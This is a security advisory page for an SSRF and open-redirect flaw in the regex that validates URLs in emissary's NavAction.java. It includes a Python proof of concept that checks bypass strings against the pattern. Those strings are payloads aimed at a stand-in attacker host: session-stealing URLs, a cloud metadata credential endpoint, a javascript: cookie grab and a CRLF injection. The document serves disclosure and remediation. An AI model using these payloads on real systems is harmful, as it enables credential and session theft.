
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 8.51.0
Patched in 8.51.0
Details
The URL validation regex ^(https?:/)?/.* added to emissary's NavAction.java allows protocol-relative URLs (//evil.com/...) and single-slash scheme variants (http:/evil.com) to bypass validation, enabling SSRF and open redirect attacks.
Medium
CWE-918 — Server-Side Request Forgery (SSRF)
The fix in NavAction.java (line 47) introduces a VALID_LINK pattern:
Pattern.compile("^(https?:/)?/.*")
This regex is intended to restrict navigation links to relative paths and HTTP/HTTPS URLs. However, it has multiple bypass vectors.
Protocol-relative URLs (//evil.com/...): The group (https?:/)? is optional, so the pattern reduces to //.* when the group is absent. This matches //evil.com/steal?c=SESSION, which browsers resolve to the current page's protocol plus the attacker's host.
Single-slash scheme (http:/evil.com): The regex group captures http:/ as a valid match, and browsers normalize http:/evil.com to http://evil.com, creating an open redirect to the attacker's server.
Protocol-relative to cloud metadata (//169.254.169.254/...): This enables SSRF to cloud instance metadata endpoints, which is particularly dangerous in AWS/GCP environments where IAM credentials can be retrieved.
The pre-fix code had no validation at all, accepting any URL. The fix blocks javascript:, ftp:, and data: URIs, but the protocol-relative and single-slash bypasses remain exploitable.
"""
CVE-2026-35571 - NationalSecurityAgency/emissary SSRF via NavAction
The fix in commit e2078417464b adds URL scheme validation using:
Pattern.compile("^(https?:/)?/.*")
This allows protocol-relative URLs (//evil.com) and single-slash variants
(http:/evil.com) to bypass the validation.
Tested against: emissary@0d4dc56 (pre-fix) and patch e207841
Extracted from: src/main/java/emissary/server/mvc/NavAction.java:47
"""
import re
import sys
FIXED_PATTERN = re.compile(r"^(https?:/)?/.*")
def vulnerable_accepts(link: str) -> bool:
"""Pre-fix behaviour: no validation, everything passes."""
return True
def fixed_accepts(link: str) -> bool:
"""Post-fix behaviour: must match VALID_LINK pattern."""
return bool(FIXED_PATTERN.match(link))
TEST_VECTORS = [
("javascript: XSS payload",
"javascript:alert(document.cookie)", True),
("ftp: scheme",
"ftp://evil.com/exfil", True),
("data: URI",
"data:text/html,<script>alert(1)</script>", True),
("Relative path",
"/path/to/resource", False),
("HTTP URL",
"http://trusted.internal:8080/api", False),
("HTTPS URL",
"https://trusted.internal/api", False),
("Protocol-relative URL to attacker host (//evil.com)",
"//evil.com/steal?c=SESSION", True),
("Protocol-relative with embedded credentials",
"//user:[email protected]/path", True),
("Protocol-relative to cloud metadata (//169.254.169.254)",
"//169.254.169.254/latest/meta-data/", True),
("Backslash trick (\\\\evil.com)",
"\\\\evil.com/path", True),
("Tab in scheme (java\\tscript:...)",
"java\tscript:alert(1)", True),
("Path starting with attacker-like host (/evil.com)",
"/evil.com", False),
("Triple slash (///evil.com)",
"///evil.com/etc/passwd", True),
("http:/ single-slash to attacker host",
"http:/evil.com/steal", True),
("https:/ single-slash to attacker host",
"https:/evil.com/steal", True),
("URL-encoded javascript scheme (%6a...)",
"%6aavascript:alert(1)", True),
("CRLF injection in path",
"/legit\r\nLocation: http://evil.com", True),
]
def main():
print("=" * 72)
print("CVE-2026-35571 -- Emissary NavAction SSRF / Open-Redirect PoC")
print("Pattern under test: ^(https?:/)?/.*")
print("=" * 72)
print()
bypasses_found = []
results_table = []
for desc, url, should_block in TEST_VECTORS:
vuln_result = vulnerable_accepts(url)
fixed_result = fixed_accepts(url)
if should_block and fixed_result:
status = "BYPASS"
bypasses_found.append((desc, url))
elif should_block and not fixed_result:
status = "BLOCKED (good)"
elif not should_block and fixed_result:
status = "ALLOWED (good)"
elif not should_block and not fixed_result:
status = "FALSE-POS"
else:
status = "UNKNOWN"
results_table.append((desc, url, vuln_result, fixed_result, status))
for desc, url, vuln, fixed, status in results_table:
display_url = repr(url) if len(url) > 50 else url
print(f"[{status:>15}] {desc}")
print(f"{'':>17} URL: {display_url}")
print(f"{'':>17} pre-fix={vuln} post-fix={fixed}")
print()
print("=" * 72)
print(f"Total vectors tested : {len(TEST_VECTORS)}")
print(f"Bypasses found : {len(bypasses_found)}")
print()
if bypasses_found:
print("VULNERABILITY CONFIRMED -- the following vectors bypass the fix:")
print()
for desc, url in bypasses_found:
print(f" - {desc}")
print(f" URL: {repr(url)}")
print()
print("Key finding: The regex ^(https?:/)?/.* allows protocol-relative")
print("URLs (//evil.com/...) because the optional group (https?:/) can be")
print("absent, leaving //.* which matches //attacker.com. This enables")
print("SSRF to arbitrary external hosts via navigation links.")
print()
print("Additionally, http:/evil.com and https:/evil.com match the regex")
print("(group 1 captures 'http:/' or 'https:/') and browsers normalise")
print("these to http://evil.com, enabling open redirect / SSRF.")
sys.exit(0)
else:
print("No bypasses found -- fix appears complete.")
sys.exit(1)
if __name__ == "__main__":
main()
Steps to reproduce:
python3 poc.pyExpected output:
VULNERABILITY CONFIRMED
Protocol-relative URLs (//evil.com/) and single-slash variants (http:/evil.com) bypass the regex validation.
An attacker can craft navigation links that bypass URL validation to redirect users to attacker-controlled servers (open redirect) or make the emissary server issue requests to internal services (SSRF). The //169.254.169.254/latest/meta-data/ bypass is particularly dangerous in cloud environments, enabling retrieval of IAM credentials.
Replace the regex with one that explicitly rejects protocol-relative URLs. Alternatively, parse the URL with java.net.URI and validate the scheme and host against an allowlist rather than relying on regex.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.